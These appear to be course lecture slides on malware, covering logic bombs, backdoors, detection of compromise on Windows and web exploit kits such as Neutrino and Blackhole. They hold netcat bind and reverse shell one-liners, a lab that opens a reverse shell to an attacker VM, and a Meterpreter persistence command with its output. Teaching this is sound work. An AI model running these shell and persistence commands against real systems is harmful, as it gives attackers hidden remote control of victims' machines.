 - Kaspersky Lab TDSSKiller
 - GMER
 - Malwarebytes Anti-Rootkit

Logic Bombs

- Code embedded into an application or a simple script that executes in response to an event:
 - Specific date/time
 - User performs a specific action such as open an application

Logic Bomb Example

Douglas Duchak, 46, had worked as a data analyst at the TSA's Colorado Springs Operations Center, or CSOC, since 2004. He planted the malware in late 2009, after the agency gave him two weeks' notice that he was being terminated from the job he'd held for five years.

The malware was a logic bomb that was designed to cause damage and disrupt data on the servers at some future date. It was found on the system by other workers, however, before it was able to deliver its payload.

Backdoors

- A backdoor is simply a way for an attacker to enter a system at a later date
- It is a method of persistence
- The best backdoors will be loaded as a service so that they will restart if the computer is restarted
- Already talked about Remote Access Trojans (RAT)

A Simple Backdoor with Netcat

Listening backdoor shell on Linux:

```
$ nc -l -p [LocalPort] -e /bin/bash
```

Listening backdoor shell on Windows:

```
C:\> nc -l -p [LocalPort] -e cmd.exe
```

Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client

Reverse backdoor shell on Linux:

```
$ nc [YourIPAddr] [port] -e /bin/bash
```

Reverse backdoor shell on Windows:

```
C:\> nc [YourIPAddr] [port] -e cmd.exe
```

Create a reverse shell that will attempt to connect to [YourIPAddr] on local port [port]. This shell can then be captured using a fundamental nc listener

http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

Netcat Backdoor Lab

- Logon to RADISH Win 8.1 VM
- Go to M: Drive / Tools and copy nc111nt to desktop
- Open command line in Windows
- Type **ipconfig** and note your IP address
- Enter: **cd \Desktop\nc111nt**

Netcat Backdoor Lab

- Enter: **nc -l -p 8888 -e cmd.exe**
 - The first argument is a lowercase L
 - The prior command starts a netcat listener on port 8888
 - When a connection occurs, cmd is executed for backdoor access
- Allow firewall access and enter .\student and **student** creds for UAC if asked

Netcat Backdoor Lab

- Open Kali VM and open a terminal
- Enter **nc *ipaddressofwindowsvm* 8888** and hit enter

```
root@KLY-IR105:~# nc 172.29.99.8 8888
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

D:\Users\shawn\Desktop\nc111nt>
```

- You now have backdoor shell remote access to the Windows VM that has the listener running
- Play around and enter a few commands.

Netcat Backdoor Lab

- When done, hit CTRL-C on Linux side.
- What happened on the Windows side?
 - Netcat Backdoor on Windows shut down
 - No more persistence!
- How do we keep the Windows connection open?
 - Use -L instead of -l on the Windows side
 - Try that.
 - Once you CTRL-C on Linux you should notice Windows Netcat stays running.

Netcat Backdoor Lab

- Go ahead and CTRL-C in Linux and Windows terminal windows to shut down both Netcats.
- In the prior example the victim (Windows) had port 8888 as listening and the attacker opened the firewall to allow incoming connections.
- What would the attacker do if they didn't have admin permissions to open the firewall port??
 - Set up a reverse shell where the attacker is listening and the victim connects to the attacker

Netcat Backdoor Lab

- In Kali:
 - Enter **ifconfig** and note your IP address
 - Enter **nc -l -p 8888** to listen
- In Windows:
 - Enter **nc *ipaddressofkali* 8888 -e cmd.exe**
- You should notice that the Windows victim connected to the Kali attacker and the victim's shell was opened.

Netcat Backdoor Lab

- Enter the **dir** command in Kali to display the directories in Windows
- Why would the reverse shell potentially evade a firewall?
 - Most firewall block unknown inbound connections but allow known outbound connections by default
- CTRL-C in Kali to shut down the connection.

Netcat Backdoor Lab

- What would the attacker need to do to keep netcat running upon reboot?
 - Create a persistent service with it

Persistence Lab

- Where would we look for applications that start up on boot?
- In Windows 8.1 VM, open regedit
- Go to:
HKLM\SOFTWARE\Microsoft\Windows\Current Version\Run

Name	Type	Data
ab (Default)	REG_SZ	(value not set)
ab Scanner Redirection for VMware View (Agent)	REG_SZ	C:\Program Files (x86)\VMware\ScannerRedirection...
ab vdmEnvSync	REG_SZ	rundll32.exe "C:\Program Files\VMware\VMware V...
ab VMware User Process	REG_SZ	"C:\Program Files\VMware\VMware Tools\vmtool...
ab VMware View Persona Management Helper	REG_SZ	C:\Program Files\VMware\VMware View\Agent\bi...

Persistence Lab

- There are other places where persistent applications and services start from.
- Sysinternals Autoruns is a great program to find them!
- Close regedit
- Copy Autoruns executable from M: Drive \ Tools to your desktop and open it and agree to the terms

Persistence Lab

Autoruns - Sysinternals: www.sysinternals.com						
File	Entry	Options	Help			
		Filter:				
KnownDLLs	Winlogon	Winsock Providers	Print Monitors	LSA Providers	Network Providers	WMI
Everything	Logon	Explorer	Internet Explorer	Scheduled Tasks	Services	Drivers
Codecs	Boot Execute	Image Hijacks	Sidebar Gadgets	Office	AppInit	
Autorun Entry	Description	Publisher	Image Path	Timestamp	VirusTotal	
HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\GpExtensions				5/30/2015 11:23 PM		
<input checked="" type="checkbox"/> {13334EA7-F4...} VMware Horizon View Pers...	VMware, Inc.	c:\windows\system32\vmw...	2/11/2015 9:26 PM			
HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\Userinit				8/8/2015 6:14 PM		
<input checked="" type="checkbox"/> C:\Program Fil...	Scanner Redirection Diagn...	c:\program files (x86)\vmwa...	1/8/2015 5:59 AM			
<input checked="" type="checkbox"/> C:\Program Fil...	VMware Horizon View Fram...	VMware, Inc.	c:\program files\vmware\w...	2/11/2015 9:44 PM		
HKLM\Software\Microsoft\Windows\CurrentVersion\Run				7/6/2015 4:47 PM		
<input checked="" type="checkbox"/> Scanner Redir...	Scanner Redirection GUI (A...	c:\program files (x86)\vmwa...	1/8/2015 6:01 AM			
<input checked="" type="checkbox"/> vdmEnvSync	VMware View Message Fra...	VMware, Inc.	c:\program files\vmware\w...	2/6/2015 6:08 AM		
<input checked="" type="checkbox"/> vm	VMware User ...	VMware Tools Core Service	VMware, Inc.	c:\program files\vmware\w...	1/29/2015 7:41 PM	
<input checked="" type="checkbox"/> VMware View ...	VMware Horizon View Pers...	VMware, Inc.	c:\program files\vmware\w...	2/11/2015 9:27 PM		
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run				5/30/2015 11:22 PM		
<input checked="" type="checkbox"/> VMware View ...	VMware Horizon View PCoI...	VMware, Inc.	c:\program files\common fil...	2/6/2015 6:26 AM		
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup				7/21/2015 12:53 PM		
<input checked="" type="checkbox"/> CodeMeter Co...	CodeMeter Control Center	WIBU-SYSTEMS AG	c:\program files (x86)\code...	1/21/2015 1:19 PM		
HKLM\Software\Microsoft\Active Setup\Installed Components				5/28/2015 9:09 AM		
<input checked="" type="checkbox"/> Microsoft Wind...	Windows Mail	Microsoft Corporation	c:\program files\windows m...	10/28/2014 8:52 PM		
HKLM\Software\Wow6432Node\Microsoft\Active Setup\Installed Components				8/22/2013 10:37 AM		
<input checked="" type="checkbox"/> Microsoft Wind...	Windows Mail	Microsoft Corporation	c:\program files (x86)\windo...	10/28/2014 8:20 PM		
HKLM\Software\Classes\Protocols\Filter				7/6/2015 10:00 PM		
<input checked="" type="checkbox"/> text/xml	Microsoft Office XML MIME...	Microsoft Corporation	c:\program files\common fil...	12/17/2013 4:22 PM		
HKLM\Software\Classes\Folder\ShellEx\ColumnHandlers				7/21/2015 4:08 PM		
<input checked="" type="checkbox"/> WIBU-SYSTEM...	WIBU-SYSTEMS Shell Ext...	WIBU-SYSTEMS AG	c:\program files\wibu-syste...	1/21/2015 2:25 PM		

Persistence Lab

- Scroll down and check out the different registry keys

A Backdoor with Metasploit

- Metasploit is a penetration testing tool and is included in Kali Linux.
- Meterpreter is a backdoor shell that can be placed onto the victim's computer to steal data, passwords, etc.
- Meterpreter has a persistence mechanism in case the victim's computer is rebooted.

Metasploit Persistence

```
meterpreter > run persistence -h
```

OPTIONS:

- A Automatically start a matching multi/handler to connect to the agent
- U Automatically start the agent when the User logs on
- X Automatically start the agent when the system boots
- h This help menu
- i The interval in seconds between each connection attempt
- p The port on the remote host where Metasploit is listening
- r The IP of the system running Metasploit listening for the connect back

Metasploit Persistence (Cont.)

```
meterpreter > run persistence -U -i 5 -p 443 -r 192.168.1.71
[*] Creating a persistent agent: LHOST=192.168.1.71 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613976 bytes long
[*] Uploaded the persistent agent to C:\WINDOWS\TEMP\yyPSPPEn.vbs
[*] Agent executed with PID 492
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHd1EDygViABr
[*] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\YeYHd1EDygViABr
[*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/persistence/XEN-XP-SP2
```

Malware – Other Categories

- Spyware
 - Usually used to access a user's private data and send information to a third party
 - Keyloggers
 - Browser Hijackers
 - Webcam Loggers
 - Clipboard Loggers
 - Can download other malicious programs

Malware – Other Categories (cont.)

- Adware
 - Learn a user's browsing habits to deliver targeted advertising
 - Pop-up ads
 - Toolbars

Part II

Detecting Malware

Detecting Malware

Look for Indicators of Compromise (IOC) through:

- A. Use of AntiVirus & AntiMalware tools
- B. Analysis of system/server changes
- C. Monitoring outbound communications

*Malware Analysis

- Once malware has been detected, malware analysis determines what the malware's function is and potentially who is controlling it
- Our next lecture will cover analyzing various malicious executables with common industry tools

Part II - A

Detecting Malware (A/V & AntiMalware Tools)

AntiVirus (A/V) vs. AntiMalware (A/M)

- Industry vendors have created some confusion in their terms:
 - **Virus:** Malicious software that can damage a computer
 - **Malware:** Malicious software that consists mainly of spyware, adware, ransomware, and trojans.
- Technically, a virus is “malware” but vendors often consider viruses in their own category
- We will consider all malicious software as “malware”

How Does A/V & A/M Typically Work?

- Signature Based ([Known Malware](#))
 - Compares contents of file against dictionary of virus signatures
- Heuristic/Behavior Based ([Unknown Malware](#))
 - File Emulation
 - Sandbox testing
 - File Analysis
 - Determine intent of file
 - Generic Signature Detection
 - Locate variations of known viruses

Popular Business Security Software Vendors

- Symantec
- McAfee
- Kaspersky
- Trend Micro
- Sophos
- Eset
- F-Secure
- Bitdefender
- Panda

Popular Business Security Software

- Many offer distributed protection that is centrally managed
- Example: Symantec Endpoint Protection (SEP)
 - SEP: Installed on endpoint client devices & provides:
 - Signature based A/V and A/M protection
 - Heuristic based protection
 - Network Threat Protection (Local firewall and IDS)
 - Network Access Control (Quarantines infected computers)
 - SEP Manager: Communicates and manages all clients, can run reports, etc.

Popular Business Security Software - Limitation

- Some endpoint protection vendors don't detect “malware” very well
- Companies can submit a sample to the vendor to have a signature added or can install an additional A/M product

Popular “AntiMalware” Software

- MalwareBytes
- Webroot

Security Software Challenges

- Endpoint software becomes corrupt
- Endpoint software stops communicating with the management server
- Some endpoint software uses substantial host resources

Part II - B

Detecting Malware (System/Server Changes)

Cheat Sheet


- Lenny Zeltser created a great cheat sheet for Linux and Windows Server Administrators to assess suspicious hosts
- <https://zeltser.com/security-incident-survey-cheat-sheet/>
- The following slides will focus on Windows hosts
- Please review the cheat sheet for proper commands for Linux hosts

Note

- During investigation, use the command line (as opposed to Windows Explorer) to avoid modifying important file system metadata

Event Logs

- In Radish Win8.1 VM, hit Windows Icon on bottom left and search for cmd
- Right click and run as administrator
- Enter .\student and **student**
- **eventvwr**



Event Logs

- Windows Event Viewer
 - Holds various logs for local system
- Expand “Windows Logs”
 - Application
 - Events unrelated to OS but related to installed Apps
 - Security
 - Logon info, File/Folder Access, Security Modifications
 - System
 - Events related to Windows services, drivers, reboots, etc.

Event Logs

The screenshot shows the Windows Event Viewer interface. The left pane displays a navigation tree with 'Event Viewer (Local)', 'Windows Logs' (selected), and 'Applications and Services Logs'. Under 'Windows Logs', 'Security' is also selected. The main pane shows a table of events with columns: Keyword, Date and Time, Source, Event ID, and Task C... (Task Category). The table lists several events, mostly for 'Audi...' at 7:06:48 PM, with Event IDs 4634, 4624, 4672, and 4634 respectively. These events are described as 'Logoff', 'Logon', 'Special...', and 'Logoff'. A detailed view of the first event (Event 4634) is shown in a modal window. The 'General' tab is selected, displaying the message: 'An account was logged off.' It provides details about the subject: Security ID: SYSTEM, Account Name: ITMS448_01\$, Account Domain: FORSECLAB, and Logon ID: 0x9DFB546. The Logon Type is listed as 3. A note at the bottom states: 'This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.' The 'Details' tab is also visible. The bottom of the window shows the Log Name: Security, Source: Microsoft Windows security, and Logged: 1/24/2016 7:06:49 PM. The right pane contains a vertical list of actions: Security, Open Log, Create Log, Import, Export, Filter, Properties, Find, Save As, Attach, View, Refresh, Help, Event Log, Event Log At, Configuration, Save As, Refresh, and Help.

Keyword...	Date and Time	Source	Event ID	Task C...
Audi...	1/24/2016 7:06:49 PM	Micros...	4634	Logoff
Audi...	1/24/2016 7:06:48 PM	Micros...	4624	Logon
Audi...	1/24/2016 7:06:48 PM	Micros...	4672	Special...
Audi...	1/24/2016 7:06:18 PM	Micros...	4634	Logoff
Audi...	1/24/2016 7:06:17 PM	Micros...	4624	Logon
Audi...	1/24/2016 7:06:17 PM	Micros...	4672	Special...
Audi...	1/24/2016 7:05:49 PM	Micros...	4634	Logoff

Event 4634, Microsoft Windows security auditing.

General Details

An account was logged off.

Subject:

Security ID:	SYSTEM
Account Name:	ITMS448_01\$
Account Domain:	FORSECLAB
Logon ID:	0x9DFB546

Logon Type: 3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.

Log Name: Security
Source: Microsoft Windows security
Logged: 1/24/2016 7:06:49 PM

Event Logs

- Select the “Security” item
- Look through the events and each will have an Event ID
- Look for some of the following:
 - 4624 = Successful Logon
 - 4634 = Successful Logoff
 - 4625 = Failed Logon
- The “Details” tab will provide more information about the Username, DomainName, etc.

Event Viewer


- Take a few minutes and look at some of the other logs in Event Viewer

Issue

- A lot of Windows security auditing is disabled by default
- This document provides some insight as to what logging/auditing may be useful to organizations:
 - [https://technet.microsoft.com/en-us/library/ee513968\(WS.10\).aspx](https://technet.microsoft.com/en-us/library/ee513968(WS.10).aspx)


Enable Security Logging

- We won't enable extra logging on the VMs but I want you to know where to go at the local level
- **secpol.msc**



Enable Security Logging

- Right click / Properties
- Close secpol and eventvwr
- Leave your terminal open



Network Configuration

- What does ARP do?
 - Maps MAC addresses to IP addresses
 - Later we will learn about ARP Spoofing
- **arp -a**
 - To view current arp table mapping
- **netstat -nr**
 - View interfaces and routes

Network Connections

- **netstat -nao**
 - -n Displays addresses and port numbers
 - -a Displays all connections and listening ports
 - -o Displays owning PID associated with connection
- **netstat -nvb**
 - -v Displays components involved in creating connection
 - -b Displays executable involved in listening port or connection

Network Connections

- Now open IE and browse to www.iit.edu
- **netstat -nvb**
 - -n shows foreign addresses as IPs
- **netstat -fvb**
 - -f resolves foreign address into domains

Network Connections

- You can use **cls** to clear the terminal btw
- **net session**
 - Shows computer names and user names of users on a server
 - You probably won't see anything here
- **net use**
 - Shows current connections to network resources such as file shares

New Users/Groups

- **net users**
 - Displays user accounts for the host
- **net localgroup administrators**
 - Shows who is a local administrator of the host
- **net group administrators**
 - Only can be run on a domain controller
- **lusrmgr**
 - GUI version to show users and groups

Scheduled Jobs

- **schtasks**
 - Shows next run time for various tasks and if ready, running, or disabled

Lists Processes and Services

- **taskmgr**
 - Most should be familiar with this GUI process viewer
- **wmic process list full**
 - Shows verbose detail about processes
- **net start**
 - Shows what services are running
- **tasklist /svc**
 - Shows what services are running under what executable processes

Check DNS Settings and Hosts File

- **ipconfig /all**
 - Shows interface and DNS information
- **ipconfig /displaydns**
 - Shows recent queries from DNS Resolver Cache
- **more %systemroot%\system32\drivers\etc\hosts**
 - Shows hosts file which can bypass network DNS to resolve hostnames to IPs locally.
 - Malware often tries to use the hosts file to send web browser requests to malicious servers

Hosts File (Cont.)

- An attacker generates the Chase website (like in the lab) with SET at remote IP address 50.12.18.120 for example
- Malware could infect the users hosts file with this entry:
50.12.18.120 chase.com
- Then, any time the user browses to chase.com, their hosts file would bypass using DNS and would just deliver them to the malicious server
- Many A/V software block editing to the hosts file

Recently Modified Files

- **dir /a/o-d/p %systemroot%\System32**
 - Shows recently modified files along with modification date and time sorted by most recent
- You can CTRL-C so that you don't have to view all of them.

Programs Starting at Boot

- **msconfig**
 - Shows programs that start at boot in Startup tab
 - No info here in Windows 8.1
- Autoruns Application
 - We used this GUI program previously in the lecture
 - More verbose than msconfig

Part II - C

Detecting Malware (Monitoring Outbound Comms.)

Network Indicators of Compromise (IOCs)

- Monitor network traffic to determine if hosts are communicating with command and control (C2) servers or downloading additional malware

Splunk

- Log aggregator which can allow analysis of logs from network firewall and proxy devices
- Watchlists are used to look for hosts communicating with malicious domains
- Splunk can send alerts to an analyst via email to investigate
- Good way to tell if user gets hit with malware after clicking on a phishing email

Malicious Domain Lists – For Watchlists

- Malware Domain List (MDL)
 - <https://www.malwaredomainlist.com/>
- ZeuS Tracker
 - <https://zeustracker.abuse.ch/?country=US>
- Abuse.ch
 - <https://www.abuse.ch/>

Part III

Web Exploit Kits

Web Exploit Kits

- Pre-packaged malicious software toolkits for rent referred to as “Crimeware”
- Renter receives Control Panel that contains customizable installer and can display statistics.
- Renter installs redirector on legitimate website
- Victim receives phishing or spam email with link to legitimate website that has been compromised

Goal of Web Exploit Kits

- Exploit user's browser in order to deliver malware payload
- Payload:
 - Scareware
 - Spyware
 - Bot
 - Backdoor
 - Etc.

Chain of Events

1. Victim connects to the compromised website
2. Victim is redirected through intermediary servers
3. Victim lands at rogue server hosting the exploit kit
4. Exploit kit enumerates victim's browser/PC and determines exploit to deliver
5. Exploit is delivered
6. If exploit succeeds, a malicious payload is downloaded to the victim's computer and executed
 - Payload could be Trojan, Backdoor, Locker, Spyware, Fake A/V, etc

2013 Popular Exploit Kits and Payloads


Exploit Kits: Blackhole falls behind improved models

In 2012, Blackhole was the dominant exploit kit worldwide, but in 2013, newer kits such as Neutrino and Redkit became far more prevalent.

O Neutrino	24%	O SweetOrange	11%	O Nuclear	4%
O Unknown kit	21%	O Styx	10%	O Blackhole/Cool	3%
O Redkit	19%	O Glazunov/Sibhost	5%	O Other	3%

Note: Percentages rounded to nearest whole percent

Source: SophosLabs




Exploit Pack Payloads, June 2013: Exploit kits can carry just about anything—here's what they do carry

Exploit kits are designed to carry a wide range of payloads: as of June 2013, ransomware and the ZeroAccess botnet are the most prevalent.

O Ransomware	29%	O Karagany	4%	O Tobfy	1%
O ZeroAccess	24%	O FakeAV	4%	O Tranwos	1%
O Fareit	7%	O Simda	2%	O Andromeda	1%
O Moure	7%	O Dofoil	2%	O Other	5%
O Shylock	5%	O Medfos	2%		
O Zbot	4%	O Redyms	2%		

Note: Percentages rounded to nearest whole percent

Source: SophosLabs



2013-14 Common Exploit Kit Examples:

- 1. Crimeboss**
- 2. Neutrino**
- 3. Blackhole**

1. Neutrino Exploit Kit

- Most prevalent web threat in 2013
 - Russian creator is unknown but has reportedly put Neutrino up for sale.
- Pricing Model:
 - \$40/day
 - \$450/month

1. Neutrino Web GUI

neutrino

Public statistics


Flow name: [REDACTED]
Date creation: 28.02.13 23:54:27

Hits: 28484 Hosts: 26151 No refer: 332 Loads: 2483 Rate: 9.5%

Countries		
USA	2870	11%
TUR	2422	9%
POL	2002	8%
BRA	1939	7%
DEU	1637	6%
FRA	1635	6%
undefined	1614	6%
IRN	855	3%
GBR	835	3%
GRC	759	3%
ESP	718	3%
EGY	635	2%
CAN	502	2%
ARG	496	2%
ITA	481	2%
HRV	447	2%
MEX	389	1%
HUN	312	1%
ROU	292	1%

OS		
Windows NT 6.1	14887	57%
Windows XP	6625	25%
Windows NT 6.0	1742	7%
Mac OS X	1339	5%
Windows NT 6.2	1011	4%
Unknown	285	1%
Linux i686	152	1%
Linux	88	0%
Windows NT 5.2	30	0%
Windows 2000	8	0%
Windows NT 4.0	1	0%
Linux i866	1	0%
Windows NT 8.0	1	0%
Windows CE	1	0%

1. Typical Neutrino Infection Sequence



Malicious iframe references .php file

Java
Flash
Shockwave
Quicktime
Adobe Reader

Ransomware that can also steal information


1. Example of Neutrino Exploit Chain

- Redirector from compromised web site
 - <http://first.com/mdvmYERi/js.js>
- Traffic Direction Script (TDS) by Browser, OS, Geo, etc.
 - <http://second.com/clicker.php>
- Main Neutrino landing page
 - <http://third.com:8000/afscm?qomseteng=7559371>
- PluginDetect file to determine best exploit
 - <http://third.com:8000/scripts/js/plg.js>
- Payload Executable Downloaded
 - <http://third.com:8000/agofydqhtbubuy?qvtghxlw=75593>


2. Crimeboss Exploit Kit

- Launched in 2011
 - Author may be “Psychlo” a Brazilian cyber criminal
- Pricing: Unknown
- Interesting article where the author comments about research on his tool:
 - <http://www.crimesciberneticos.com/2012/12/why-crimeboss-exploit-kit-has-sent.html>

2. Crimeboss Web GUI



2. Typical Crimeboss Infection Sequence



Malicious iframe
references .php
file

Banking Trojans
Backdoors

2. Example of Crimeboss Exploit Chain

- Redirector from compromised web site
 - <http://first.com/index.php?setup=d>
- Main Crimeboss landing page, checks Java
 - <http://first.com/cb.php?action=jv&h=1048356750>
- Java exploits delivered
 - <http://second.com/jex/amor1.jar>
 - <http://second.com/jex/java7.jar>
- Payload Executable Downloaded
 - <http://uploads.boxify.me/48548/gforcea.bmp>

3. Blackhole Exploit Kit

- Was most prevalent web threat in 2012
 - Kit is nearly extinct now
- Pricing Model:

Annual license: \$ 1500

Half-year license: \$ 1000

3-month license: \$ 700

Update cryptor \$ 50

Changing domain \$ 20 multidomain \$ 200 to license.

During the term of the license all the updates are free.

Rent on our server:

1 week (7 full days): \$ 200

2 weeks (14 full days): \$ 300

3 weeks (21 full day): \$ 400

4 weeks (31 full day): \$ 500

24-hour test: \$ 50

- There is restriction on the volume of incoming traffic to a leasehold system, depending on the time of the contract.

Providing our proper domain included. The subsequent change of the domain: \$ 35

No longer any hidden fees, rental includes full support for the duration of the contract.

3. Blackhole Web GUI

The screenshot displays the Blackhole Web GUI interface with the following sections:


- Top Navigation Bar:** Includes tabs for STATISTIKA, ПОТОКИ, ФАЙЛЫ, БЕЗОПАСНОСТЬ, НАСТРОЙКИ, and ВЫХОД (Logout). It also features date range filters (Начало: and Конец:), a "Применить" (Apply) button, an auto-update timer (Автообновление: 5 сек.), and a zoom slider.
- STATISTIKA (Statistics) Section:** Shows traffic summary for the entire period and today. For the period:
 - Хиты (Hits): 13289
 - Хосты (Hosts): 11506
 - Загрузки (Downloads): 1187
 - ПРОБИВ (Throughput): 10.32%For today:
 - Хиты (Hits): 3013
 - Хосты (Hosts): 2760
 - Загрузки (Downloads): 300
 - ПРОБИВ (Throughput): 11.55%
- ПОТОКИ (Streams) Section:** Lists current streams with their respective hit counts, host counts, download counts, and throughput percentages.
- ЭКСПЛОИТЫ (Exploits) Section:** Lists exploit types with their counts and percentages. The data is as follows:

ЭКСПЛОИТЫ	ЗАГРУЗКИ	% ↑
Java X >	584	49.20
Java SMB >	460	38.75
PDF >	108	9.10
Java DES >	29	2.44
MDAC >	6	0.51


- ЗАГРУЗКИ (Downloads) Section:** Shows the top countries by download count. The data is as follows:

СТРАНЫ	ХИТЫ ↑	ХОСТЫ	ЗАГРУЗКИ	% ↑
United States	12417	10981	1119	10.19
Brazil	154	101	9	8.91
India	63	35	4	11.43
Japan	47	9	3	33.33
Mexico	37	28	0	0.00

3. Blackhole Exploit Kit - Example Diagram



3. Typical Blackhole Infection Sequence



US Airways

LinkedIn

Intuit

ADP

Facebook

Amazon

Java - .jar

Flash - .swf

PDF - ap2.php?f=

Zeus/Zbot

ZeroAccess

Fake AV

TDSS

Ransomware

3. Example of Blackhole Exploit Chain

- Link in Spam email
 - <http://first.com/T3xXwMv9/index.html>
- Redirector
 - <http://second.com/mdvmYERi/js.js>
- Main Blackhole Landing page
 - <http://third.com/showthread.php?t=d44175c6da768b70>
- Java Browser Exploit
 - <http://third.com/content/GPlugin.jar>
- Payload Executable Downloaded
 - <http://third.com/q.php?f=<diek&e=9854648634319485>

2014-15 Popular Exploit Kits



Contagio

- Great site for Malware information
- <http://contagiодump.blogspot.com/>
- Google Apps Exploit Kit Table
- https://docs.google.com/spreadsheet/ccc?key=0AjvsQV3iSLa1dE9EVGhjeUhvQTNReko3c2xhTmpLUE&usp=drive_web#gid=0

Contagio Exploit Kit Table - 2014

	A	B	C	D	E	F	G	H	I
1	CVE	slang/shorthand	Product / type . < means that v. and below	<u>Exploit Description</u>	Nuclear 3.x	Nuclear 3.x	Nuclear 2.2	Nuclear 2.1	Nuclear 2.0
2				Pack Release Date (SEE OLDER PACKS ON TAB 3 BELOW) or Analysis date	01-'14	11-'13	03-'12	03-'12	03-'12
3	CVE-2004-0549		IE 6	MS IE _ MSHTML IE6					
4	CVE-2005-0055		IE 5, 6	MS IE _ IE 5.01, 5.5, and 6 DHTML Method Heap Memory Corruption Vulnerability					
5	CVE-2006-0003	mdac	IE 6	MS IE _ MS06-014 for IE6/Microsoft Data Access Components (MDAC) Remote Code Execution					
6	CVE-2007-5659 /2008-0655	collab, collectEmailInfo	PDF < 8.1.1	ADOBEPDF _Exploit-collab, collectEmailInfo					
7	CVE-2008-2463	m_Cor_n / MS Off Snapshot IE snapshot/ activexbundle	IE- MSAccess	MS OFFICE _M508-041 - MS Access Snapshot Viewer					
8	CVE-2009-2477	Mozilla FF 3.5 / font tags FF escape retval	FF < 3.5.1	FIREFOX - Font tags Firefox 3.5 escape() Return Value Memory Corruption					
9	CVE-2008-2992	util.printf	PDF < 8.1.2	ADOBEPDF _Exploit- util.printf					
10	CVE-2008-5353	Java JRE/Javad0/Javado/Java Calendar/javaold/JavaSr0	Java < 6u10	JAVA _Javad0—JRECalendar Java Deserialize					
11	CVE-2009- 0075/0076	IE7 MEMCOR MS09-002	IE 7	MS IE _ MS09-002 - IE7 Memory Corruption					
12	CVE-2009-0927	PDF collab.getIcon / pdf-gi	PDF < 9.1	ADOBEPDF _ Exploit- collab.getIcon					
13	CVE-2009-1136	spreadsheet	IE - MSOffice	MS OFFICE _ MS09-043 - IE OWC Spreadsheet ActiveX control Memory Corruption					
14	CVE-2009-3867	JAVA GSB	Java < 6u17	JAVA _Runtime Env. getSoundBank Stack BOF					
15	CVE-2009-4324	PDF mediaNewPlayer / pdf-mp	PDF < 9.3	ADOBEPDF Exploit - docmedianewPlayer					
16	CVE-2010-0188	PDF Libtiff / Lib	PDF < 9.3.1	ADOBEPDF Exploit - LibTiff Integer Overflow	2010-0188	2010-0188	2010-0188	2010-0188	2010-0188

CVE Search

- Contagio Table lists CVE Number that applies to Exploit Kit:
- Search for CVE at:
 - Mitre site:
 - <https://cve.mitre.org/cve/cve.html>
 - Or for more info at:
 - National Vulnerability Database (NVD)
 - <http://web.nvd.nist.gov/view/vuln/search?execution=e2s1>

<i>Blackhole</i>
1.2.3
12-'11
2010-0842

CVE Search for 2010-0842

Search Master Copy of CVE

You can search for a CVE number if known. To search by keyword, use a specific term or multiple keywords separated by a space. Your results will be the relevant CVE Identifiers.

By CVE Identifier

By Keyword(s)



Sponsored by
DHS National Cyber Security Division/US-CERT



National Institute of
Standards and Technology

National Vulnerability Database

automating vulnerability management, security measurement, and compliance checking

[Vulnerabilities](#)[Checklists](#)[800-53/800-53A](#)[Product Dictionary](#)[Impact Metrics](#)[Data](#)[Home](#)[SCAP](#)[SCAP Validated Tools](#)[SCAP Events](#)[About](#)[Contact](#)

Mission and Overview

NVD is the U.S.
government repository of
standards based
vulnerability management

Search CVE and CCE Vulnerability Database

[\(Advanced Search\)](#)

Keyword search:

Mitre Results

- Only shows URL references for more information
 - Also provides link to NVD

CVE-ID
CVE-2010-0842 Learn more at National Vulnerability Database (NVD) <ul style="list-style-type: none">• Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings
Description
Unspecified vulnerability in the Sound component in Oracle Java SE and Java for Business 6 Update 18, 5.0 Update 23, 1.4.2_25, and 1.3.1_27 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors. NOTE: the previous information was obtained from the March 2010 CPU. Oracle has not commented on claims from a reliable researcher that this is an uncontrolled array index that allows remote attackers to execute arbitrary code via a MIDI file with a crafted MixerSequencer object, related to the GM_Song structure.
References
<p>Note: References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.</p> <ul style="list-style-type: none">• BUGTRAQ:20100405 ZDI-10-060: Sun Java Runtime Environment MixerSequencer Invalid Array Index Remote Code Execution Vulnerability• URL: http://www.securityfocus.com/archive/1/archive/1/510532/100/0/threaded• BUGTRAQ:20110211 VMSA-2011-0003 Third party component updates for VMware vCenter Server, vCenter Update Manager, ESXi and ESX• URL: http://www.securityfocus.com/archive/1/archive/1/516397/100/0/threaded

NVD Results

- Provides more information than Mitre such as:
 - Impact and Vulnerable software and versions

Vulnerable software and versions

Configuration 1

OR

- * [cpe:/a:sun:jre:1.5.0](#)
- * [cpe:/a:sun:jre:1.5.0:update1](#)
- * [cpe:/a:sun:jre:1.5.0:update2](#)
- * [cpe:/a:sun:jre:1.5.0:update3](#)
- * [cpe:/a:sun:jre:1.5.0:update4](#)
- * [cpe:/a:sun:jre:1.5.0:update5](#)
- * [cpe:/a:sun:jre:1.5.0:update6](#)
- * [cpe:/a:sun:jre:1.5.0:update7](#)
- * [cpe:/a:sun:jre:1.5.0:update8](#)
- * [cpe:/a:sun:jre:1.5.0:update9](#)
- * [cpe:/a:sun:jre:1.5.0:update10](#)

Useful Malware Sites

- malware.dontneedcoffee.com
- malforsec.blogspot.com
- blog.malwaremustdie.org

Homework

- Complete Homework3 located on Blackboard under “Homework Assignments.”
 - Due Sunday, Feb. 7th before Midnight
- Start working on installing your service on your personal machine (not RADISH) for your project